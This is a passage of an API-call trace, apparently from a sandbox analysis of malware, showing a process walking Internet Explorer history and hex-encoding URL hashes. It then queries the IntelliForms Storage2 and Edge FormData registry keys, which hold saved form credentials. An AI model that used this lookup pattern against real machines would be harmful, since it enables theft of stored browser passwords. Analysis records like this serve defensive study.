param_1="DF") returned 2 [0053.539] lstrlenA (lpString="D92690648B8DD33034") returned 18 [0053.539] lstrlenA (lpString="DF") returned 2 [0053.539] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x761e58 [0053.539] lstrcpyA (in: lpString1=0x761e58, lpString2="D92690648B8DD33034" | out: lpString1="D92690648B8DD33034") returned="D92690648B8DD33034" [0053.539] lstrcatA (in: lpString1="D92690648B8DD33034", lpString2="DF" | out: lpString1="D92690648B8DD33034DF") returned="D92690648B8DD33034DF" [0053.539] LocalFree (hMem=0x761db8) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8D") returned 2 [0053.539] lstrlenA (lpString="D92690648B8DD33034DF") returned 20 [0053.539] lstrlenA (lpString="8D") returned 2 [0053.539] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x761db8 [0053.539] lstrcpyA (in: lpString1=0x761db8, lpString2="D92690648B8DD33034DF" | out: lpString1="D92690648B8DD33034DF") returned="D92690648B8DD33034DF" [0053.539] lstrcatA (in: lpString1="D92690648B8DD33034DF", lpString2="8D" | out: lpString1="D92690648B8DD33034DF8D") returned="D92690648B8DD33034DF8D" [0053.539] LocalFree (hMem=0x761e58) returned 0x0 [0053.539] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="69") returned 2 [0053.539] lstrlenA (lpString="D92690648B8DD33034DF8D") returned 22 [0053.539] lstrlenA (lpString="69") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.540] lstrcpyA (in: lpString1=0x758a18, lpString2="D92690648B8DD33034DF8D" | out: lpString1="D92690648B8DD33034DF8D") returned="D92690648B8DD33034DF8D" [0053.540] lstrcatA (in: lpString1="D92690648B8DD33034DF8D", lpString2="69" | out: lpString1="D92690648B8DD33034DF8D69") returned="D92690648B8DD33034DF8D69" [0053.540] LocalFree (hMem=0x761db8) returned 0x0 [0053.540] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F8") returned 2 [0053.540] lstrlenA (lpString="D92690648B8DD33034DF8D69") returned 24 [0053.540] lstrlenA (lpString="F8") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.540] lstrcpyA (in: lpString1=0x758820, lpString2="D92690648B8DD33034DF8D69" | out: lpString1="D92690648B8DD33034DF8D69") returned="D92690648B8DD33034DF8D69" [0053.540] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69", lpString2="F8" | out: lpString1="D92690648B8DD33034DF8D69F8") returned="D92690648B8DD33034DF8D69F8" [0053.540] LocalFree (hMem=0x758a18) returned 0x0 [0053.540] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="46") returned 2 [0053.540] lstrlenA (lpString="D92690648B8DD33034DF8D69F8") returned 26 [0053.540] lstrlenA (lpString="46") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.540] lstrcpyA (in: lpString1=0x758a18, lpString2="D92690648B8DD33034DF8D69F8" | out: lpString1="D92690648B8DD33034DF8D69F8") returned="D92690648B8DD33034DF8D69F8" [0053.540] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69F8", lpString2="46" | out: lpString1="D92690648B8DD33034DF8D69F846") returned="D92690648B8DD33034DF8D69F846" [0053.540] LocalFree (hMem=0x758820) returned 0x0 [0053.540] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="90") returned 2 [0053.540] lstrlenA (lpString="D92690648B8DD33034DF8D69F846") returned 28 [0053.540] lstrlenA (lpString="90") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.540] lstrcpyA (in: lpString1=0x758820, lpString2="D92690648B8DD33034DF8D69F846" | out: lpString1="D92690648B8DD33034DF8D69F846") returned="D92690648B8DD33034DF8D69F846" [0053.540] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69F846", lpString2="90" | out: lpString1="D92690648B8DD33034DF8D69F84690") returned="D92690648B8DD33034DF8D69F84690" [0053.540] LocalFree (hMem=0x758a18) returned 0x0 [0053.540] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5E") returned 2 [0053.540] lstrlenA (lpString="D92690648B8DD33034DF8D69F84690") returned 30 [0053.540] lstrlenA (lpString="5E") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754a30 [0053.540] lstrcpyA (in: lpString1=0x754a30, lpString2="D92690648B8DD33034DF8D69F84690" | out: lpString1="D92690648B8DD33034DF8D69F84690") returned="D92690648B8DD33034DF8D69F84690" [0053.540] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69F84690", lpString2="5E" | out: lpString1="D92690648B8DD33034DF8D69F846905E") returned="D92690648B8DD33034DF8D69F846905E" [0053.540] LocalFree (hMem=0x758820) returned 0x0 [0053.540] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.540] lstrlenA (lpString="D92690648B8DD33034DF8D69F846905E") returned 32 [0053.540] lstrlenA (lpString="49") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0053.540] lstrcpyA (in: lpString1=0x754820, lpString2="D92690648B8DD33034DF8D69F846905E" | out: lpString1="D92690648B8DD33034DF8D69F846905E") returned="D92690648B8DD33034DF8D69F846905E" [0053.540] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69F846905E", lpString2="49" | out: lpString1="D92690648B8DD33034DF8D69F846905E49") returned="D92690648B8DD33034DF8D69F846905E49" [0053.540] LocalFree (hMem=0x754a30) returned 0x0 [0053.540] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="01") returned 2 [0053.540] lstrlenA (lpString="D92690648B8DD33034DF8D69F846905E49") returned 34 [0053.540] lstrlenA (lpString="01") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754a30 [0053.540] lstrcpyA (in: lpString1=0x754a30, lpString2="D92690648B8DD33034DF8D69F846905E49" | out: lpString1="D92690648B8DD33034DF8D69F846905E49") returned="D92690648B8DD33034DF8D69F846905E49" [0053.540] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69F846905E49", lpString2="01" | out: lpString1="D92690648B8DD33034DF8D69F846905E4901") returned="D92690648B8DD33034DF8D69F846905E4901" [0053.540] LocalFree (hMem=0x754820) returned 0x0 [0053.540] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BB") returned 2 [0053.540] lstrlenA (lpString="D92690648B8DD33034DF8D69F846905E4901") returned 36 [0053.540] lstrlenA (lpString="BB") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0053.540] lstrcpyA (in: lpString1=0x754820, lpString2="D92690648B8DD33034DF8D69F846905E4901" | out: lpString1="D92690648B8DD33034DF8D69F846905E4901") returned="D92690648B8DD33034DF8D69F846905E4901" [0053.540] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69F846905E4901", lpString2="BB" | out: lpString1="D92690648B8DD33034DF8D69F846905E4901BB") returned="D92690648B8DD33034DF8D69F846905E4901BB" [0053.540] LocalFree (hMem=0x754a30) returned 0x0 [0053.540] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="44") returned 2 [0053.540] lstrlenA (lpString="D92690648B8DD33034DF8D69F846905E4901BB") returned 38 [0053.540] lstrlenA (lpString="44") returned 2 [0053.540] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.541] lstrcpyA (in: lpString1=0x750a48, lpString2="D92690648B8DD33034DF8D69F846905E4901BB" | out: lpString1="D92690648B8DD33034DF8D69F846905E4901BB") returned="D92690648B8DD33034DF8D69F846905E4901BB" [0053.541] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69F846905E4901BB", lpString2="44" | out: lpString1="D92690648B8DD33034DF8D69F846905E4901BB44") returned="D92690648B8DD33034DF8D69F846905E4901BB44" [0053.541] LocalFree (hMem=0x754820) returned 0x0 [0053.541] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8C") returned 2 [0053.541] lstrlenA (lpString="D92690648B8DD33034DF8D69F846905E4901BB44") returned 40 [0053.541] lstrlenA (lpString="8C") returned 2 [0053.541] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.541] lstrcpyA (in: lpString1=0x750bb8, lpString2="D92690648B8DD33034DF8D69F846905E4901BB44" | out: lpString1="D92690648B8DD33034DF8D69F846905E4901BB44") returned="D92690648B8DD33034DF8D69F846905E4901BB44" [0053.541] lstrcatA (in: lpString1="D92690648B8DD33034DF8D69F846905E4901BB44", lpString2="8C" | out: lpString1="D92690648B8DD33034DF8D69F846905E4901BB448C") returned="D92690648B8DD33034DF8D69F846905E4901BB448C" [0053.541] LocalFree (hMem=0x750a48) returned 0x0 [0053.541] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.541] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.541] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.541] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.541] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.541] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.541] LocalFree (hMem=0x750bb8) returned 0x0 [0053.541] CoTaskMemFree (pv=0x75fb80) [0053.541] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.541] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/_ER_ruNi4FFwLo/p7IXcY.pptx", lpSrch="?") returned 0x0 [0053.541] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/_ER_ruNi4FFwLo/p7IXcY.pptx") returned 81 [0053.541] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.541] lstrlenA (lpString="") returned 0 [0053.541] lstrlenA (lpString="49") returned 2 [0053.541] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75fb80 [0053.541] lstrcpyA (in: lpString1=0x75fb80, lpString2="" | out: lpString1="") returned="" [0053.541] lstrcatA (in: lpString1="", lpString2="49" | out: lpString1="49") returned="49" [0053.541] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9C") returned 2 [0053.541] lstrlenA (lpString="49") returned 2 [0053.541] lstrlenA (lpString="9C") returned 2 [0053.541] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75fc10 [0053.541] lstrcpyA (in: lpString1=0x75fc10, lpString2="49" | out: lpString1="49") returned="49" [0053.541] lstrcatA (in: lpString1="49", lpString2="9C" | out: lpString1="499C") returned="499C" [0053.542] LocalFree (hMem=0x75fb80) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="22") returned 2 [0053.542] lstrlenA (lpString="499C") returned 4 [0053.542] lstrlenA (lpString="22") returned 2 [0053.542] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75fb80 [0053.542] lstrcpyA (in: lpString1=0x75fb80, lpString2="499C" | out: lpString1="499C") returned="499C" [0053.542] lstrcatA (in: lpString1="499C", lpString2="22" | out: lpString1="499C22") returned="499C22" [0053.542] LocalFree (hMem=0x75fc10) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B7") returned 2 [0053.542] lstrlenA (lpString="499C22") returned 6 [0053.542] lstrlenA (lpString="B7") returned 2 [0053.542] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x761db8 [0053.542] lstrcpyA (in: lpString1=0x761db8, lpString2="499C22" | out: lpString1="499C22") returned="499C22" [0053.542] lstrcatA (in: lpString1="499C22", lpString2="B7" | out: lpString1="499C22B7") returned="499C22B7" [0053.542] LocalFree (hMem=0x75fb80) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9A") returned 2 [0053.542] lstrlenA (lpString="499C22B7") returned 8 [0053.542] lstrlenA (lpString="9A") returned 2 [0053.542] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x761f98 [0053.542] lstrcpyA (in: lpString1=0x761f98, lpString2="499C22B7" | out: lpString1="499C22B7") returned="499C22B7" [0053.542] lstrcatA (in: lpString1="499C22B7", lpString2="9A" | out: lpString1="499C22B79A") returned="499C22B79A" [0053.542] LocalFree (hMem=0x761db8) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="30") returned 2 [0053.542] lstrlenA (lpString="499C22B79A") returned 10 [0053.542] lstrlenA (lpString="30") returned 2 [0053.542] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x761db8 [0053.542] lstrcpyA (in: lpString1=0x761db8, lpString2="499C22B79A" | out: lpString1="499C22B79A") returned="499C22B79A" [0053.542] lstrcatA (in: lpString1="499C22B79A", lpString2="30" | out: lpString1="499C22B79A30") returned="499C22B79A30" [0053.542] LocalFree (hMem=0x761f98) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.542] lstrlenA (lpString="499C22B79A30") returned 12 [0053.542] lstrlenA (lpString="EE") returned 2 [0053.542] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x761f98 [0053.542] lstrcpyA (in: lpString1=0x761f98, lpString2="499C22B79A30" | out: lpString1="499C22B79A30") returned="499C22B79A30" [0053.542] lstrcatA (in: lpString1="499C22B79A30", lpString2="EE" | out: lpString1="499C22B79A30EE") returned="499C22B79A30EE" [0053.542] LocalFree (hMem=0x761db8) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="01") returned 2 [0053.542] lstrlenA (lpString="499C22B79A30EE") returned 14 [0053.542] lstrlenA (lpString="01") returned 2 [0053.542] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x761db8 [0053.542] lstrcpyA (in: lpString1=0x761db8, lpString2="499C22B79A30EE" | out: lpString1="499C22B79A30EE") returned="499C22B79A30EE" [0053.542] lstrcatA (in: lpString1="499C22B79A30EE", lpString2="01" | out: lpString1="499C22B79A30EE01") returned="499C22B79A30EE01" [0053.542] LocalFree (hMem=0x761f98) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="86") returned 2 [0053.542] lstrlenA (lpString="499C22B79A30EE01") returned 16 [0053.542] lstrlenA (lpString="86") returned 2 [0053.542] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x761f98 [0053.542] lstrcpyA (in: lpString1=0x761f98, lpString2="499C22B79A30EE01" | out: lpString1="499C22B79A30EE01") returned="499C22B79A30EE01" [0053.542] lstrcatA (in: lpString1="499C22B79A30EE01", lpString2="86" | out: lpString1="499C22B79A30EE0186") returned="499C22B79A30EE0186" [0053.542] LocalFree (hMem=0x761db8) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CD") returned 2 [0053.542] lstrlenA (lpString="499C22B79A30EE0186") returned 18 [0053.542] lstrlenA (lpString="CD") returned 2 [0053.542] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x761db8 [0053.542] lstrcpyA (in: lpString1=0x761db8, lpString2="499C22B79A30EE0186" | out: lpString1="499C22B79A30EE0186") returned="499C22B79A30EE0186" [0053.542] lstrcatA (in: lpString1="499C22B79A30EE0186", lpString2="CD" | out: lpString1="499C22B79A30EE0186CD") returned="499C22B79A30EE0186CD" [0053.542] LocalFree (hMem=0x761f98) returned 0x0 [0053.542] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E7") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CD") returned 20 [0053.543] lstrlenA (lpString="E7") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x761f98 [0053.543] lstrcpyA (in: lpString1=0x761f98, lpString2="499C22B79A30EE0186CD" | out: lpString1="499C22B79A30EE0186CD") returned="499C22B79A30EE0186CD" [0053.543] lstrcatA (in: lpString1="499C22B79A30EE0186CD", lpString2="E7" | out: lpString1="499C22B79A30EE0186CDE7") returned="499C22B79A30EE0186CDE7" [0053.543] LocalFree (hMem=0x761db8) returned 0x0 [0053.543] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2C") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CDE7") returned 22 [0053.543] lstrlenA (lpString="2C") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.543] lstrcpyA (in: lpString1=0x758820, lpString2="499C22B79A30EE0186CDE7" | out: lpString1="499C22B79A30EE0186CDE7") returned="499C22B79A30EE0186CDE7" [0053.543] lstrcatA (in: lpString1="499C22B79A30EE0186CDE7", lpString2="2C" | out: lpString1="499C22B79A30EE0186CDE72C") returned="499C22B79A30EE0186CDE72C" [0053.543] LocalFree (hMem=0x761f98) returned 0x0 [0053.543] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="67") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CDE72C") returned 24 [0053.543] lstrlenA (lpString="67") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.543] lstrcpyA (in: lpString1=0x758a18, lpString2="499C22B79A30EE0186CDE72C" | out: lpString1="499C22B79A30EE0186CDE72C") returned="499C22B79A30EE0186CDE72C" [0053.543] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C", lpString2="67" | out: lpString1="499C22B79A30EE0186CDE72C67") returned="499C22B79A30EE0186CDE72C67" [0053.543] LocalFree (hMem=0x758820) returned 0x0 [0053.543] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="36") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CDE72C67") returned 26 [0053.543] lstrlenA (lpString="36") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.543] lstrcpyA (in: lpString1=0x758820, lpString2="499C22B79A30EE0186CDE72C67" | out: lpString1="499C22B79A30EE0186CDE72C67") returned="499C22B79A30EE0186CDE72C67" [0053.543] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C67", lpString2="36" | out: lpString1="499C22B79A30EE0186CDE72C6736") returned="499C22B79A30EE0186CDE72C6736" [0053.543] LocalFree (hMem=0x758a18) returned 0x0 [0053.543] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="73") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CDE72C6736") returned 28 [0053.543] lstrlenA (lpString="73") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.543] lstrcpyA (in: lpString1=0x758a18, lpString2="499C22B79A30EE0186CDE72C6736" | out: lpString1="499C22B79A30EE0186CDE72C6736") returned="499C22B79A30EE0186CDE72C6736" [0053.543] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C6736", lpString2="73" | out: lpString1="499C22B79A30EE0186CDE72C673673") returned="499C22B79A30EE0186CDE72C673673" [0053.543] LocalFree (hMem=0x758820) returned 0x0 [0053.543] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AF") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CDE72C673673") returned 30 [0053.543] lstrlenA (lpString="AF") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754c40 [0053.543] lstrcpyA (in: lpString1=0x754c40, lpString2="499C22B79A30EE0186CDE72C673673" | out: lpString1="499C22B79A30EE0186CDE72C673673") returned="499C22B79A30EE0186CDE72C673673" [0053.543] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C673673", lpString2="AF" | out: lpString1="499C22B79A30EE0186CDE72C673673AF") returned="499C22B79A30EE0186CDE72C673673AF" [0053.543] LocalFree (hMem=0x758a18) returned 0x0 [0053.543] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C3") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CDE72C673673AF") returned 32 [0053.543] lstrlenA (lpString="C3") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.543] lstrcpyA (in: lpString1=0x754cf0, lpString2="499C22B79A30EE0186CDE72C673673AF" | out: lpString1="499C22B79A30EE0186CDE72C673673AF") returned="499C22B79A30EE0186CDE72C673673AF" [0053.543] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C673673AF", lpString2="C3" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC3") returned="499C22B79A30EE0186CDE72C673673AFC3" [0053.543] LocalFree (hMem=0x754c40) returned 0x0 [0053.543] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="64") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CDE72C673673AFC3") returned 34 [0053.543] lstrlenA (lpString="64") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754c40 [0053.543] lstrcpyA (in: lpString1=0x754c40, lpString2="499C22B79A30EE0186CDE72C673673AFC3" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC3") returned="499C22B79A30EE0186CDE72C673673AFC3" [0053.543] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C673673AFC3", lpString2="64" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC364") returned="499C22B79A30EE0186CDE72C673673AFC364" [0053.543] LocalFree (hMem=0x754cf0) returned 0x0 [0053.543] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B6") returned 2 [0053.543] lstrlenA (lpString="499C22B79A30EE0186CDE72C673673AFC364") returned 36 [0053.543] lstrlenA (lpString="B6") returned 2 [0053.543] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.544] lstrcpyA (in: lpString1=0x754cf0, lpString2="499C22B79A30EE0186CDE72C673673AFC364" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC364") returned="499C22B79A30EE0186CDE72C673673AFC364" [0053.544] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C673673AFC364", lpString2="B6" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC364B6") returned="499C22B79A30EE0186CDE72C673673AFC364B6" [0053.544] LocalFree (hMem=0x754c40) returned 0x0 [0053.544] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6E") returned 2 [0053.544] lstrlenA (lpString="499C22B79A30EE0186CDE72C673673AFC364B6") returned 38 [0053.544] lstrlenA (lpString="6E") returned 2 [0053.544] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.544] lstrcpyA (in: lpString1=0x750bb8, lpString2="499C22B79A30EE0186CDE72C673673AFC364B6" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC364B6") returned="499C22B79A30EE0186CDE72C673673AFC364B6" [0053.544] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C673673AFC364B6", lpString2="6E" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC364B66E") returned="499C22B79A30EE0186CDE72C673673AFC364B66E" [0053.544] LocalFree (hMem=0x754cf0) returned 0x0 [0053.544] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E7") returned 2 [0053.544] lstrlenA (lpString="499C22B79A30EE0186CDE72C673673AFC364B66E") returned 40 [0053.544] lstrlenA (lpString="E7") returned 2 [0053.544] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.544] lstrcpyA (in: lpString1=0x750a48, lpString2="499C22B79A30EE0186CDE72C673673AFC364B66E" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC364B66E") returned="499C22B79A30EE0186CDE72C673673AFC364B66E" [0053.544] lstrcatA (in: lpString1="499C22B79A30EE0186CDE72C673673AFC364B66E", lpString2="E7" | out: lpString1="499C22B79A30EE0186CDE72C673673AFC364B66EE7") returned="499C22B79A30EE0186CDE72C673673AFC364B66EE7" [0053.544] LocalFree (hMem=0x750bb8) returned 0x0 [0053.544] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.544] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.544] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.544] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.544] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.544] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.544] LocalFree (hMem=0x750a48) returned 0x0 [0053.544] CoTaskMemFree (pv=0x754b90) [0053.544] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.544] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e7pTwrBH.docx", lpSrch="?") returned 0x0 [0053.544] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e7pTwrBH.docx") returned 55 [0053.544] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="36") returned 2 [0053.544] lstrlenA (lpString="") returned 0 [0053.544] lstrlenA (lpString="36") returned 2 [0053.544] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75fb80 [0053.544] lstrcpyA (in: lpString1=0x75fb80, lpString2="" | out: lpString1="") returned="" [0053.545] lstrcatA (in: lpString1="", lpString2="36" | out: lpString1="36") returned="36" [0053.545] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="38") returned 2 [0053.545] lstrlenA (lpString="36") returned 2 [0053.545] lstrlenA (lpString="38") returned 2 [0053.545] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75fc10 [0053.545] lstrcpyA (in: lpString1=0x75fc10, lpString2="36" | out: lpString1="36") returned="36" [0053.545] lstrcatA (in: lpString1="36", lpString2="38" | out: lpString1="3638") returned="3638" [0053.545] LocalFree (hMem=0x75fb80) returned 0x0 [0053.545] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8B") returned 2 [0053.545] lstrlenA (lpString="3638") returned 4 [0053.545] lstrlenA (lpString="8B") returned 2 [0053.545] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75fb80 [0053.545] lstrcpyA (in: lpString1=0x75fb80, 